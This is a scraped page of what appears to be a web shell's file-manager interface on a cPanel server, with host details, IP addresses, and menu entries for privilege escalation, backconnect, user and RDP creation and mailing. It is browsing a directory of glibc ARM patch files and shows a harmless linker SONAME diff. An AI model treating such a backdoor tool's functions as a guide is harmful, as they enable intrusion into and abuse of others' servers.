Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.126.86
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
glibc /
debian /
patches /
arm /
[ HOME SHELL ]
Name
Size
Permission
Action
local-arm-futex.diff
1012
B
-rw-r--r--
local-sigaction.diff
895
B
-rw-r--r--
local-soname-hack.diff
759
B
-rw-r--r--
local-vfp-sysdeps.diff
913
B
-rw-r--r--
unsubmitted-ldconfig-cache-abi...
4.13
KB
-rw-r--r--
unsubmitted-ldso-multilib.diff
491
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : local-soname-hack.diff
For backward compatibility with armhf binaries built with the old linker SONAME, we need to fake out the linker to believe the new is the old, until such a point as everything is rebuilt --- elf/dl-load.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) --- a/elf/dl-load.c +++ b/elf/dl-load.c @@ -2041,10 +2041,13 @@ soname = ((const char *) D_PTR (l, l_info[DT_STRTAB]) + l->l_info[DT_SONAME]->d_un.d_val); if (strcmp (name, soname) != 0) +#ifdef __arm__ + if (strcmp(name, "ld-linux.so.3") || strcmp(soname, "ld-linux-armhf.so.3")) +#endif continue; /* We have a match on a new name -- cache it. */ - add_name_to_object (l, soname); + add_name_to_object (l, name); l->l_soname_added = 1; }
Close